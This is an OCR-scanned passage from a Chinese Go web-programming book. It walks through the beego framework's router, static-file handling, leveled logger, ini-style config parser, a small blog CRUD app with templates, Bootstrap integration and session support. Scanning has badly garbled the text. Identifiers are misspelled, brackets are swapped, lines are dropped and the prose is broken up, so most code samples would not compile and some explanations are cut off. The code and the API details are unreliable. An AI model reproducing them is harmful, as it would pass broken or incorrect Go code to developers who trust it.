问 /foo， 可 以 用 GET、POST、DELETE、HEAD 等 方式 访问 。 

o 一 般 网 站 的 路 由 规则 太 多 了 ， 编 写 繁琐 。 笔 者 开发 了 一 个 API 
应 用 ， 路 由 规则 有 三 十 几 条 ， 这 种 路 由 多 了 之 后 可 以 进一步 简化 ， 通 过 
struct 的 方法 进行 一 种 简化 。 

beego 框 架 的 路 由 器 基于 上 面 的 几 点 限制 考虑 设计 了 一 种 REST 方 式 


的 路 由 实现 ， 路 由 设计 也 是 基于 Go 语言 默认 设计 的 两 点 来 考虑 ， 存 储 
路 由 和 转发 路 由 。 
存储 路 由 


针对 上 述 的 限制 ， 我 们 首先 要 用 到 正则 解决 参数 支持 ， 并 通过 一 种 
变通 的 方法 来 解决 另外 两 个 限制 ，REST 的 方法 对 应 到 struct 的 方法 ， 然 
后 路 由 到 struct 而 不 是 函数 ， 这 样 在 转发 路 由 的 时 候 就 可 以 根据 method 
来 执行 不 同 的 方法 。 

根据 上 面 的 思路 ， 我 们 设计 了 两 个 数据 类 型 ControllerInfo (保存 路 
径 和 对 应 的 struct， 这 里 是 一 个 reflect.Type 类 型 》 和 
ControllerRegistor (routers 是 一 个 slice 用 来 保存 用 户 添 加 的 路 由 信息 ， 以 
及 beego 框 架 的 应 用 信息 ) 。 

type controllerinfo struct ( 

regex ‘regexp .Regexp 
parans nap [int] string 
controllertype reflect Type 








} 


type ControllerRegistor struct { 
routers []*contrellerinfo 
Application *App 


> 
ControllerRegistor 对 外 的 接口 函数 。 


func (p *ControllerRegistor} Add(pattern string, ¢ ControllerInterface) 


详细 的 实现 如 下 所 示 。 


func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) 





strings.Split(pattern, "/") 





oe 
params : 











make (map[int] string) 

for i, part := range parts { 
strings.HasPrefix(part, ":") { 
expr := "(1*/]+)" 





//a user may choose to override the defult expression 
// similar to expressjs: ‘/user/:id([0-91+)’ 





if index 





ings .Index(part, "( 
expr = part [index: 






part = part[:index] 
} 

params {ji] = part 
parts[i] = expr 

att 


//recreate the url pattern, with parameters replaced 
//by regular expressions. then compile the regex 


pattern = strings.doin(parts, "/") 
regex, regexErr := regexp.compile (pattern) 
if regexBrr != nil { 








/ropo add error handling here to avoid panic 
panic (regexBrr) 


return 





the Route 

reflect . Indirect (reflect .ValueOf (c) ) . Type (} 
scontrollerinfo{} 

route.regex = regex 

route.params = params 

route.controllerType = t 





p-routers 


append(p.routers, route) 


前 态 路 由 实现 
Go 语言 的 http 包 默认 支持 静态 文件 处 理 FileServer， 由 于 我 们 实现 了 
自 定义 的 路 由 器 ， 那 么 静态 文件 也 需要 自己 设 定 ，beego 的 静态 文件 夹 


路 径 保存 在 全 局 变量 StaticDir 中 ，StaticDir 是 一 个 map 类 型 ， 实 现 如 下 。 
func (app *App) setstaticpath (url string, path string) *App ( 
StaticDir[url] = path 


return app 


应 用 中 设置 静态 路 径 可 以 使 用 如 下 方式 实现 。 


beego.SetStaticPath ("/img","/static/img") 


转发 路 由 
转发 路 由 基于 ControllerRegistor 里 的 路 由 信息 来 进行 转发 ， 详 细 的 
实现 如 下 代码 所 示 。 


{/ AutoRoute 
func (p *controllergeg: 
*http.Request) 1 
defer funci) { 
if err := recover(); err != nil { 
if !RecoverPanic { 
77 go back to panic 


or) ServeHTTE(w http.Responsewriter, r 

















panic( 
} else { 
critical ("Handler crashed with error", err) 
Hue a teeny 
, file, line, ok := runtime.caller(i) 
if lok 
break 
} 
Critical (file, line) 
} 
1 
10 
var started bool 
= range StaticDir { 


staticbir 

gs HasPrefix(r.URL.Path, prefix) { 

staticDir + r.URL.Path[len (pı 
fil 


r prefix, 






ix) 





http.serveFile(w, r, 


started = true 
return 
i 
} 
requestPath := r.URL.Path 





//find a matching Route 
range p.routers { 





for , route 


//eheck if Route pattern matches url 
if lroute.regex.Matchstring(requestPath) { 





//gət submatches (params) 
matches := route.regex.Findstringsubmatch (requestPath] 





//double check that the Route matches the URL pattern 
if len(matches[0]) != len(requestPath) { 
continue 


) 





params := make(map[string] string) 
if len(route.params) > 0 [ 
/add url parameters to the query param map 
values := r.URL.Query() 
for i, match := range matches[1:] į 
values Add (route.parems[i], match) 
params [route.params[i]] = match 











//reassenble query params and add to RawQuery 
r.URL-RawQuery = url.Values (values) Encode () + "4" + r.URL.Raw 
Query 
//x.URL.RawQuery = url.Values (values) -Encode () 
$ 


//Invoke the z 





sguest handler 








ve eflect New (route. controllerType) 
init i= vc.MethodByName ("Init" 
in := make([]reflect.Value, 2) 





ct := sContext{ResponseWriter: w, Request: r, Params: params} 

inl0] = reflect.valueof (ct) 

inl1] = reflect. valueof (route. controllertype.Name ()) 

init.call (in) 

in = make([]reflect.value, 0) 

method := vc.MethodByName ("Prepare") 

method.Call (in) 

if r.Method == "GET" { 
method = vc.MethodByName ("Get") 
method call (in) 

} else if r.Method == "POST" { 
method = vc.MethodByName ("Post") 
method .cali (in) 

} else if r.Method == "HEAD" { 
method = ve.Methodayname ("Head") 
method .call (in) 

} else if r.Method == "DELETE" { 
method = vc.MethodpyName ("Delete") 
method .Cali (in) 

} else if r.Method == "PUT" { 
method = vc.MethodByName ("Put") 
method .Cali (in) 

} else if r.Method == "PATCH" { 
method = vc.MethodByName ("Patch") 
method .Cali (in) 

} else if r.Method == "OPTIONS" { 
method = vc.MethodByName ("Options") 
method Call (in) 





























if AutoRender { 
method = vc.MethodByName ("Render") 
method. Call (in) 
2 
method = vc.MethodByName ("Finish") 
method .call (in) 
started = true 
break 
$ 


//4£ no matches to url, throw a not found exception 
if started == false { 

http.NotFound(w, r) 
} 


使 用 入 门 
基于 会 样 的 路 由 设计 之 后 就 可 以 解决 前 面 所 说 的 三 个 限制 ， 使 用 的 
RUFAA AIETEN 


mp BeeApp.RegisterController("/", &controllers.MainController{)}} 
参数 注册 。 
beego.BeeApp.RegisterController("/:param", 
Bebe E ll 
正则 匹配 
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", 
&controllers.UserController{}) 


13.3 日 志和 配置 设计 
志和 配置 的 重要 性 


前 面 已 经 介绍 过 日 志 在 程序 开发 中 的 重要 作用 ， 通 过 日 志 我 们 可 以 
记录 调试 的 信息 ， 当 初 介绍 的 日 志 系 统 seelog， 根 据 不 同 的 level 输 出 不 
同 的 日 志 ， 这 对 于 程序 开发 和 程序 部 署 来 说 至 关 重 要 。 我 们 可 以 在 程序 
开发 中 设置 level 低 一 点 ， 部 署 的 时 候 把 level 设 置 高 ， 这 样 可 以 屏蔽 掉 开 
发 中 的 调试 信息 。 
牵涉 到 服务 器 不 同 的 配 are 配置 模块 对 于 应 用 部 署 非 常 有 用 ， 
例如 一 些 数据 库 配置 信息 、 监 听 端 口 、 监 听 地 址 等 都 可 以 通过 配置 文件 
来 配置 ， 这 样 我 们 的 应 用 程序 就 具有 很 强 的 灵活 性 ， 可 以 通过 配置 文件 
的 配置 部 署 在 不 同 的 机 器 上 ， 连 接 不 同 的 数据 库 。 












































beego 的 日 志 设计 


beego 的 日 志 设 计 部 署 思路 来 自 于 seelog， 根 据 不 同 的 level 来 记录 日 
志 ， 但 是 beego 设 计 的 日 志 系统 比较 轻 量 级 ， 采 用 了 系统 的 log.Logger 接 
口 ， 默 认输 出 到 os.Stdout， 用 户 可 以 实现 这 个 接口 然后 通过 
beego.SetLogger 设 置 自 定义 的 输出 ， 详 细 的 实现 如 下 所 示 。 
7/ Log levels to control the logging output. 
const ( 
Levelfrace = iota 
LevelDebug 
LevelInfo 
Levelmarning 
Levelgrror 








LevelCritical 


wel controls the global log level used by the logger. 
1 = Leveltrace 





evel returns the global log level and can be used in 
// own implementations of the logger interface. 
func Level() int 1 

return level 


} 


// SetLogLevel sets the global log level used by the simple 
// logge: 





a (1 int) { 





上 面 这 一 段 实现 了 日 志 系统 的 日 志 分 级 ， 默认 的 级 别 是 Trace， 用 
户 通 过 SetLevel 可 以 设置 不 同 的 分 级 。 


77 logger references the used application logger. 
var BeeLogger = log.New(os.Stdout, "", log.Ldate 








-Ltime) 


// SetLogger sets a new logger. 
func SetLogger(1 *log.togger} { 





// Trace logs a message at trace level. 
func Trace(v ...interface(}) { 
if level <= levelTrace { 
BeeLogger.Printf("[T] %v\n", v) 











} 


// Debug logs a message at debug level. 
func Debug(v ...interface()) { 
if level <= Levelpebug { 
BeeLoager.Print£("[D] %v\n", v) 








} 


// Info logs a message at info level. 
func Infoly ...interface{}) 1 

if level <= Levelinfo { 
Logger.Printf("[I] sv\n", v) 





7/ Warning logs a message at warning level. 
func Warn(v ...interface{}) { 

if level <= Levelwar: 

BeeLogger.Printf ( 





Iw] vin", v) 


} 


// Error logs a message at error leve: 
func Error(v ...interface{}) { 
if level <= LevelError { 
BeeLogger.Printf("[E] $v\n" 











// critical logs a message at critical level. 
func Critical(v ...interface(}) { 
if level <= levelcricical { 
BeeLogger.Printf("[C] v\n", v) 











上 面 这 一 段 代码 默认 初始 化 了 一 个 BeeLogger 对 象 ， 默 认输 出 到 
os.Stdout， 用 户 可 以 通过 beego.SetLogger 来 设置 实现 了 logger 的 接口 输 
出 。 这 里 面 实 现 了 6 个 函数 。 

o Trace (一 般 的 记录 信息 ， 举 例如 下 ) 

"Entered parse function validation block" 

"Validation: entered second 'if" 

"Dictionary 'Dict' is empty. Using default value" 

© Debug (调试 信息 ， 举 例如 下 ) 

"Web page requested: http://somesite.com Params: 

"Response generated. Response size: 10000. Sending. 

"New file received. Type:PNG Size:20000" 

© Info (打印 信息 ， 举 例如 下 》 

"Web server restarted" 

"Hourly statistics: Requested pages: 12345 Errors: 123 ..." 

"Service paused. Waiting for 'resume' call" 

© Wam (警告 信息 ， 举 例如 下 ) 

"Cache corrupted for file='test.file'. Reading from back-end" 

"Database 192.168.0.7/DB not responding. Using backup 
192.168.0.8/DB" 

"No response from statistics server. Statistics not sent" 

e Eror (错误 信息 ， 举 例如 下 ) 

"Internal error. Cannot process request #12345 Error: 

"Cannot perform login: credentials DB not responding’ 

o Critical (致命 错误 ， 举 例如 下 ) 

"Critical panic received: .... Shutting down" 

"Fatal error: ... App is shutting down to prevent data corruption or loss" 

可 以 看 到 每 个 函数 里 面 都 有 对 level 的 判断 ， 所 以 如 果 我 们 在 部 署 的 
时 候 设置 了 level=LevelWarming， 那 么 Trace、Debug、Info 这 三 个 函数 都 
不 会 有 任何 的 输出 ， 以 此 类 推 。 


beego 的 配置 设计 


配置 信息 的 解析 ，beego 实 现 了 一 个 key=value 的 配置 文件 读 取 ， 类 
似 ini 配 置 文件 的 格式 ， 就 是 一 个 文件 解析 的 过 程 ， 然 后 把 解析 的 数据 保 
存 到 map 中 ， 最 后 在 调用 的 时 候 通 过 string、int 之 类 的 函数 调用 返回 相应 
的 值 ， 请 看 下 面具 体 的 实现 。 























mi 配置 文件 的 全 局 性 常量 。 





首先 定义 一 


var ( 


bComment = []byte("#"} 
bempty = []byte() 
bEqual = 

bpouore = 





定义 配置 文件 的 格式 。 


// A Config represents the configuration. 
type Config struct { 


filename string 
comment map[int][]string //id: []{comment, key...}; id1is for main 
comment. 


map(string]string // key: value 


data 
map[string]ints4 // key: offset; for editing. 


offset 
sync. RWMutex 


定义 解析 文件 的 函数 ， 解析 文件 的 过 程 是 打开 文件 ， 然 后 一 行 一 行 
读 取 ， 解 析 注 释 、 空 行 和 key=value 数 据 。 


JI ParseFile creates a new Config and parses the file configuration from 
the 
/7 named file. 
func LoadConfig(name string) (*Config, error) { 
file, err := os.open (name) 
if err l= nil { 
return nil, err 





+ 





cfg := sconfigt 
file.Nare(), 

make(maplint] {]string) , 
make (map{string] string), 
make (map[string]inte4), 


syne. RWMutex(), 





+ 
cfg. rockt) 

defer cfg-Unieck() 
defer file.close() 





var comment bytes ,Buffer 
buf := bufio.Newneader(file) 








for nconment, off := 0, inté4(1); + { 
line, , err := buf.ReadLine() 
if err == io.z0F ( 
break 








? 
if bytes.Equal (line, bpmpty) { 


1 
off += intg (len (line)) 


if bytes.HasPrefix (line, beomment) { 
line = bytes.Trinteft (line, "#") 
line = bytes.TrinLeftrunc (line, unicade.rsspace} 
comment -Write Line) 
comment .RriteBytel Var) 





if comment.ten() 1= 0 { 
cfg.conment [ncomment] = [lstring{comment.string()} 
comment -Reset () 
aconment++ 


j 





val := bytes.SplitN(line, bequal, 2) 
if bytes.HasPrefixival[1], bDguote) { 
valli] = bytes.Trim(val [i], `") 

A 


key := strings.Trinspace(string{va1[0])) 
cfg.commentinComment-1] = append (cfg.conment [ncomment-1], key) 
cEg-datafkey] = strings-?rinspace(string(val[1])) 
cfg.o£fset[key] = off 

+ 

return cfg, nil 


下 面 实现 了 一 些 读 取 配置 文件 的 函数 ， 返 回 的 值 确定 为 bool、int、 
float64 或 string。 

// Bool returns the boolean value for a given key. 

func (c *Config) Bool(key string) (bool, error) { 
turn strconv.ParseBool (c.data[key]) 








// Int returns the integer value for a given key. 
func (c *Config) Int (key string) (int, error) 
return strconv.atoi (c.data[key]) 





3 


// Float returns the float value for a given key. 

func (c *Config) Float (key string) (float64, error) 
return streonv.ParseFloat (c.data[key], 64) 

2 


// String returns the string value for a given key. 
func (c *Config) String(key string) string { 
return c.data[key] 














应 用 指南 








面 函 数 是 笔者 某 个 应 用 中 的 例子 ， 用 来 获取 远程 unl 地 址 的 JSON 
数据 ， 实 现 如 下 。 
func GetJson() { 
resp, err http.Get (beego.AppConfig.String("url")) 
if err != nil [ 
beego.Critical ("http get info error") 
return 





} 
defer resp.Body.Close() 
body, err := ioutil.ReadAll (resp. Body) 
err = json.Unmarshal (body, &AllInfo) 
if err != nil ( 

beego.Critical ("error:", err) 


上 
亢 数 中 调用 框 如 的 日 志 函 数 beego,Critical 米 报错 ， 调 用 
beego.AppConfig. String("url") 以 获取 配置 文件 中 的 信息 ， 配 置 文件 
Capp.conf) 的 信息 如 下 。 








appname = hs 
url ="http://www.api.com/api.htm1” 


13.4 实现 博客 的 增删 改 


前 面 介绍 了 beego 框 架 实现 的 整体 构思 以 及 部 分 实现 的 伪 代 码 ， 本 
eg ee Cee 包括 博客 浏览 、 添 加 、 修 改 、 
删除 等 操作 。 


博客 目录 
博客 目录 如 下 所 示 。 


/main.go 
/views: 
/view.tpl 
/new.tpl 
/layout .tpl 
/index.tpl 
/edit .tpl 
/models /model .go 
/eontrollers: 
/index.go 
/view.go 
/new.go 
/delete.go 
fedit.go 


博客 路 
博客 主要 的 路 由 规则 如 下 所 示 。 




















7/ 显 示 博 客 首页 

beego.RegisterController("/", scontrollers.IndexController{}) 

77 查 看 博客 详细 信息 

beego.Registercont roller ("/view/:id ([0-9]+)", 
&controllers.ViewController{}) 

/7 新 建 博客 博文 

beego.RegisterController("/new", écontrollers.NewController{}) 

7/ 副 除 博文 

beego.RegisterCont roller ("/delete/:id([0-9] +)", 
&controllers.DeleteController(}) 

// 编 辑 博文 

beego.RegisterController ("/edit/:id{[0-9]+)", 
&controllers.EditController(}) 


数据 库 结构 
据 库 设计 最 简单 的 博客 


CREATE TABLE entries ( 
id INT AUTO_INCREMENT, 
title TEXT, 
content TEXT, 
created DATETIME, 
primary key (id) 








Fr 


控制 器 


IndexController 

type IndexController struct { 
beego.Controller 

} 


func (this *IndexController) Get() { 
this.Data["blogs"] = models.GetAll () 
this.Layout = "layout.tp1" 
this.TplNames = "index.tpl" 

) 

ViewController 


type ViewController struct { 
beego. Controller 
} 


func (this *ViewController) Get() { 
inputs :~ this. Input () 
id, strconv-Atoi(this.Ctx.Params[":id"}) 
this.Data["Post"] = models.GetBlog{id) 
this.Layout = "layout.tpl" 
this.TpiNames = "view.tp1" 





} 

NewController 

type NewControlier struct { 
beego.Controller 

} 


func (this *NewController) Get() { 
this.Layout = "layout.tpl" 
this.TplNames = "new.tpl" 

} 


func (this *NewContraller) Post() { 
inputs ;= this. Input () 
var blog models.Blog 
blog.Title = inputs.cet ("title") 
blog.Content = inputs.Get ("content") 
blog.Created = time.Now() 
models . SaveBlog (blog) 
this.Ctx.Redirect (302, "/") 


) 
EditController 


type EditController struct ( 
beego.Controller 
} 


func (this *EditController) Get () { 
inputs := this. Input () 
id, _ := strconv.Atoi (this.ctx.Params(":id"]) 
this.Data("Post"] = models.GetBlog (id) 
this.Layout = "layout.tp1" 
this.TplNames = "new.tp1" 






} 


func (this *EditController) Post{) { 
inputs := this. Input () 
var blog models. Blog 
blog.Id, _ = strconv.Atoi(inputs.Get ("id") 
blog.Title = inputs.cet ("title") 
blog.Content = inputs.Get ("content") 
blog.Created = time.Now() 
models . SaveBlog (blog) 
this.Ctx.Redirect (302, "/") 





) 

DeleteController 

type DeleteControlier struct 1 
beego.Controller 

} 


func (this *DeleteController) Get() { 





inputs := this. Input () 
id, _ := strcony.Atoi (this.ctx.Params(":id"1) 
this.Data["Post"] = models.DelBlog (id) 





this.Ctx.Redirect (302, "/") 





NI 


model 


package models 


import ( 
"database/sql” 
"github. com/astaxie/beedb" 
"github. com/ziutek/mymysql/godrv" 
"time" 





type Blog struct { 
Id int “Ek 
Title string 
Content string 
Created time.Time 








nc GetLink() beedb.Model { 
db, err ;= sql.open("mymysql", "blog/astaxie/123456") 
if err != nil { 
panic (err) 
orm : 





beedb. New (db) 
return orm 


func Getall() (blogs []alcg) { 
db := GetLink() 
db.FindAl1 (sblogs} 
return 


func GetBlog(id int) (blog Blog) { 
db := GetLink() 
do.Where ("id=?", id) .Find(sblogs) 
return 


func SaveBlog (blog Blog) (bg Blog) { 
db := cetLink () 
db.Save (gblog) 
return bg 


func DelBlog (blog Blog) { 
db := GetLink() 
db. Delete (sblog) 
return 








| 
View 层 


layout.tpl 
<html> 
<head> 
<tirle>My Blog</title> 
<style> 
fmenu { 
width: 200px; 
float: right: 





a 
</style> 
</head> 
<body> 


<ul id="menu"> 





/">Home</a></Li> 


Jnew">New Post</a></li> 





{{-Layoutcontent}} 





</body> 
</ntml> 
index.tpl 
<hi>Blog post s</ni> 
<ul> 
(range .blogs}} 
<li> 
<a href="/view/{{.Id}}">{{.Title}}</a> 
from {{.Created}} 
<a href="/edit/{(.1d})">Edit</a> 
<a href="/delete/{{.Id})">Delete</a> 
</li> 
({ena}} 
</ul> 
view.tpl 


<h1>{{.Post.Title})</h1> 
{{.Post.created}}<br/> 


{{.Post.Content]}} 
new.tpl 


<hl>New Blog Post</hi> 
<form action="" method="post "> 

标题 :<input type="text" name="title"><br> 

WÈ: <textarea name="content" colspan="3" rowspan="10"></textarea> 
<input type="submit"> 

</form> 

edit.tpl 


<hl>Edit {{.Post.Title})}</n1> 





<hl>New Blog Post</hl> 








<form action="" method="; 
<input type="text" name="title" value="{{.Post.Title}}"><br> 
fists ccextarce nome="content conan on dil Pont Content F} 





</textarea> 
<input type="hidden" name="id" value="{{.20st.Id}}"> 
<input type="submit"> 
</form> 


13.5 总结 


本 章 主要 介绍 了 如 何 实现 一 个 包含 有 路 由 设计 的 基础 Go 语言 

架 。 由 于 Go 语言 内 置 的 http 包 中 路 由 的 一 些 不 足 点 ， 我 们 设计 了 动态 路 
由 规则 ， 介 绍 了 MVC 模 式 中 的 Controller 设 计 ，Controller 实 现 了 REST 的 
实现 ， 这 个 思路 主要 来 源 于 tormado 框 架 ， 设计 实现 了 模板 的 layout 
以 及 自动 化 泻 染 等 技术 ， 采 用 了 Go 语言 内 置 的 模板 引擎 ， 接 着 我 们 介 
绍 了 一 些 辅助 的 日 志 、 配 置 等 信息 的 设计 ， 通 过 这 些 设计 我 们 实现 了 一 
个 基础 的 框架 beego， 目 前 该 框架 已 经 开源 在 github， 最 后 我 们 通过 
beo KAT Tee 通过 实例 代码 详细 展现 了 如 何 快速 开发 一 
TYE Fae 








第 14 章 “扩展 Web 框 架 


第 13 章 介绍 了 如 何 开发 一 个 Web 框 架 ， 通 过 介绍 MVC、 路 由 、 日 志 志 
处 理 、 配 置 处 理 完成 了 一 个 基本 的 框架 系统 ， 但 是 一 个 好 的 框架 需要 
些 方便 的 辅助 工具 来 快速 开发 Web， 本 章 将 就 如 何 提供 一 些 快速 开发 
Web 的 工具 进行 介绍 ， 第 14.1 节 介绍 如 何 处 理 静态 文件 ， 如 何 利用 现 有 
twitter 开 源 的 bootstrap 进 行 快速 开发 美观 的 站 点 ， 第 14.2 节 介绍 如 何 利用 
前 面 介绍 的 Session 来 进行 用 户 登 录 处 理 ， 第 14.3 节 介绍 如 何方 便 地 输出 
表单 、 这 些 表单 如 何 进行 数据 验证 ， 如 何 快速 地 结合 model 进 行 数据 的 
增删 改 操作 ， 第 14.4 节 介绍 如 何 进行 一 些 用 户 认 证 ， 包 括 http basic 认 
证 、http digest 认 证 ， 第 14.5 节 介绍 如 何 利用 前 面 介绍 的 i18n 支 持 多 语言 
的 应 用 开发 。 

通过 本 章 的 扩展 ，beego 框 架 将 具有 快速 开发 Web 的 特性 ， 最 后 我 
们 将 讲解 如 何 利用 这 些 扩展 的 特性 开发 第 13 章 的 博客 系统 ， ae 
个 完整 、 美 观 的 博客 系统 让 读者 了 解 beego 开 发 带 来 的 快速 体验 。 


14.1 静态 文件 支持 





我 们 在 前 面 已 经 讲 过 如 何 处 理 静 态 文件 ， 本 节 我 们 将 详细 介绍 如 何 
在 beego 里 面 设置 和 使 用 静态 文件 。 通 过 介绍 twitter 开 源 的 html、css 框 架 
bootstrap, 无 需 大 量 的 设计 人 员 就 能 够 让 你 快速 的 建立 一 个 漂亮 的 站 


beego 静 态 文 件 实现 和 设置 


Go 语言 的 nev/http 包 中 提供 了 静态 文件 的 服务 ，ServeFile 和 
FileServer 等 函数 。beego 的 静态 文件 处 理 就 是 基于 这 一 层 处 理 的 ， 具 体 
的 实现 如 下 所 示 。 





/fstatic file server 
for prefix, staticDir ;= range StaticDir { 
if strings.HasPrefix(r.URL.Path, prefix) { 
file := staticDir + r.URL.Path(len (prefix) :] 
http.ServeFile(w, r, file) 
w.started = true 
return 


上 


} 

StaticDir 里 面 保存 的 是 相应 的 url 对 应 到 静态 文件 所 在 的 目录 ， 因 此 
在 处 理 URL 请 求 的 时 候 只 需要 判断 对 应 的 请 求 地 址 是 否 包含 静态 处 理 开 
头 的 URL， 如 果 包 含 的 话 就 采用 http.ServeFile 提 供 服务 。 

举例 如 下 。 

esgus StaticDir["/asset"] = "/static" 


请 求 URL 如 http://www beego, .me/asset/bootstrap. css 就 会 请 
求 /static/bootstrap.css 来 提供 反馈 给 客户 端 。 


成 


Bootstrap 是 Twitter 推 出 的 用 于 前 端 开发 的 开源 工具 包 。 对 于 开发 者 
来 说 ， Bootstrap 是 快速 开发 Web 应 用 程序 的 最 佳 前 端 工 具 包 。 它 是 一 个 
CSS 和 HTML 的 集合 ， a hid 的 HTML5 标 准 ， 为 Web 开 发 提供 了 
THER: 表单 、 按 钮 、 表 格 、 网 格 系统 等 。 

. 

Bootstrap 中 包含 了 丰富 的 Web 组 件 ， 根据 这 些 组 件 ， 可 以 快速 搭建 

漂亮 、 功 能 完备 的 网 站 。 其 中 包括 下 拉 菜 单 、 按 钮 组 、 按 钮 下 拉 菜 
单 、 、 导 航 条 、 面 包 届 、 分 页 、 排 版 、 缩 略图 、 警 告 对 话 框 、 进 度 
条 、 媒 体 对 象 等 组 件 。 

”Javascript 插 件 

Bootstrap 自 带 了 13 个 jQuery 插件 ， 这 些 插件 为 Bootstrap 中 的 组 件 赋 
了 予 了 “生命 "。 包 括 模式 对 话 框 、 标 签 页 、 滚 动 条 、 弹 出 框 等 组 件 。 

。 定制 自己 的 框架 代码 
加 对 Bootstrap 中 所 有 的 CSS 变 量 进行 修改 ， 依 据 自己 的 需求 裁剪 代 

接 下 来 我 们 利用 Bootstrap 集 成 到 beego 框 架 里 面 来 ， 快 速 建立 一 个 
漂亮 的 站 点 。 

1. 首先 把 下 载 的 Bootstrap 目 录放 到 我 们 的 项 目 目录 ， 取 名 为 
static， 截 图 如 图 14.1 所 示 。 





ay 


Bootstrap4} 











Introducing Bootstrap. 


P 





feat 








2. 因为 Beego 默 认 设置 了 StaticDir 的 值 ， 所 以 如 果 你 的 静态 文件 目 
录 是 static 的 话 就 无 须 再 增加 。 
StaticDir["/static"] = "static" 
GED static 
P © ess 
a O ico 
SE iag 
# Oi 


图 14.2 项 目 中 静态 文件 目 


3. 模板 中 使 用 如 下 的 地 址 即 可 。 








Hoss XH 

<link href="/static/ess/bootstrap.css" rel="stylesheet "> 
/Vis 文件 

<script sro="/static/js/bootstrap-transition.js"></script> 
/7 图 片 文件 


<img 





"/static/img/logo 
上 面 可 以 实现 把 Bootstrap 
后 的 展现 效果 。 





成 到 beego 中 米 ， 图 14.3 就 是 集成 进来 之 








图 14.3 ”构建 的 基于 Bootstrap 的 六 


Bootstrap 官 方 都 提供 这 些 模板 和 格式 ， 在 出 
家 可 以 上 Bootstrap 官 方 网 站 学 习 如 何 编写 模板 。 





界面 
就 不 青 重复 贴 代码 ， 大 





14.2 Session 支持 


我 们 在 第 6 章 介 绍 过 如 何在 Go 语言 中 使 用 Session， 也 实现 了 一 个 
SessionManger，beego 框 架 基 于 SessionManager 实 现 了 方便 的 Session 处 
理 功能 。 





成 


beego 中 主要 有 如 下 这 些 全 局 变量 来 控制 Session 处 理 。 


//related to Session 








是 sessiontanager 
支持 的 memory 
Sessiionaine string // 客户 端 保存 的 cookies 的 名 称 


SessionGCMaxLif int64 // cookies 有 效 期 





n.Manager // 全 局 session 


初始 化 值 ， taf DLE E PR 合 配 





if ar, err := appConfig.Bool("sessionon"); err != nil { 
SessionOn = false 

} else { 
SessionOn = ar 

} 


if ar := AppConfig.String("sessionprovider"); ar == "™ ( 
SessionProvider = "memory" 
} else { 


SessionProvider = ar 
+ 
if ar := AppConfig.String("sessionname"); ar == "" 
SessionName = "beegosessionID" 
} else { 
SessionName = ar 
} 
if ar, err := AppConfig.Int ("sessiongcmaxlifetime"); err != nil && ar != 


o¢ 
int64val, _ := strconv.ParseInt (strconv.Itoa(ar), 10, 64) 
SessionGCMaxLifetime = int64val 
) else { 


SessionGCMaxLifetime = 3600 


i 
在 beego.Run 函 数 中 增加 如 下 代码 。 
if Sessionon { 
GlobalSessions, _ = session.NewManager (SessionProvider, SessionName, 
SessionGCMaxLifetime) 
go Globalsessions.GC() 


1 
这 样 只 要 SessionOn 设 置 为 tue， 就 会 默 
一 个 goroutine 来 处 理 Session 。 
为 了 方便 我 们 在 自 定义 Controller 中 快速 使 用 Session，beego 框 架 在 
beego.Controller 中 提供 了 如 下 方法 。 


func (c *Controller) StartSession() (sess session.Session) | 
sess = GlobalSessions.SessionStart (c.Ctx.ResponselWWriter, 
c.Ctx. Request) 
return 


开启 Session 功 能 。 独 立 开 





上 




















Session {i 


通过 上 面 的 代码 我 们 可 以 看 到 ，beego 框 架 简单 地 继承 了 Session 功 
:项 目 中 如 何 使 用 呢 ? 
首先 我 们 需要 在 应 用 的 main 入 口中 开启 Session。 


beego.SessionOn = t: 


然后 就 可 以 在 控制 器 的 相应 方法 中 使 用 如 下 所 示 的 Session。 


func (this *MainController) Get() { 
var intcount int 
sess := this.StartSession() 





count : 5 -Get ("count") 

if count == nil { 
intcount = 0 

} else 1 


intcount = count. (int) 
) 
intcount = intcount + 1 
sess.Set ("count", intcount) 


this.Data["Username"] = "astaxien 
this.Data ["Ema: astaxie@gmail.com" 
this.Data["cou = intcount 





this.TplNames = “index.tpl” 


ar 的 代码 展示 了 如 何在 控制 逻辑 中 使 用 Session， 主 要 分 两 个 步 


1. 获 取 Session 对 象 。 

7/ 获取 对 象 , 类 似 PHP 中 的 session_start () 

sess := this.StartSession() 

2. 使 用 Session 进 行 一 般 的 Session 值 操作 。 

1/ 获取 session fii, ZM Pup 中 的 $_sEsSION["count"] 
sess.Get ("count") 


/ 18H session fii 
sess.Set ("count", intcount) 


从 上 面 代码 可 以 看 出 基于 beego 框 架 开发 的 应 用 中 使 用 Session 相 当 
方便 ， 基 本 上 和 PHP 中 调用 `Session_start()` 类 似 。 


14.3 表单 及 验证 支持 


在 Web 开 发 中 对 于 这 样 的 一 个 流程 可 能 很 眼熟 。 
。 打开 一 个 网 页 显示 出 表单 。 
o 用 户 填写 并 提交 
。 如 果 用 户 提交 了 一 些 无 效 的 信息 ， 或 者 可 能 漏 掉 了 一 个 必 填 
项 ， 表 单 将 会 连同 用 户 的 数据 和 错误 问题 的 描述 信息 重新 显示 。 
。 用 户 再 次 填写 ， 继 续 上 一 步 过 程 ， 直 到 提交 了 一 个 有 效 的 表 


在 接收 端 ， 脚 本 必须 符合 如 下 条 款 。 
。 检查 用 户 递交 的 表单 数据 。 
© 验证 数据 是 否 为 正确 的 类 型 ， 合 适 的 标准 。 例 如 ， 如 果 一 个 用 








户 名 被 提交 ， 它 必须 被 验证 是 否 只 包含 了 允许 的 字符 。 它 必须 有 一 个 最 
小 长 度 ， 不 能 超过 最 大 长 度 。 用 户 名 不 能 是 已 存在 的 他 人 用 户 名 重复 ， 
甚至 是 一 个 保留 字 等 

。 过 滤 数 据 并 清理 不 安全 字符 ， 保 证 逻辑 处 理 中 接收 的 数据 是 安 


全 的 。 
e 如 果 需 要 ， 预 格式 化 数据 〈 数 据 需要 清除 空白 或 者 经 过 HTML 
编码 等 ) 。 


。 准备 好 数据 ， 插 入 数据 库 。 

尽管 上 面 的 过 程 并 不 是 很 复杂 ， 但 是 通常 情况 下 需要 编写 很 多 代 
码 ， 而 且 为 了 显示 错误 人 在 网 页 中 经 常 要 使 用 多 种 不 同 的 控制 结 
构 。 创 建 表单 验证 虽 简单 ， 实 施 起 来 却 也 枯燥 无 味 。 


表单 和 验证 


对 于 开发 者 来 说 ， 一 般 开 发 过 程 都 很 复杂 ， 而 且 大 多 是 在 重复 一 样 
的 工作 。 假 设 一 个 场景 项 目 中 忽然 需要 增加 一 个 表单 数据 ， 那 么 局 部 代 
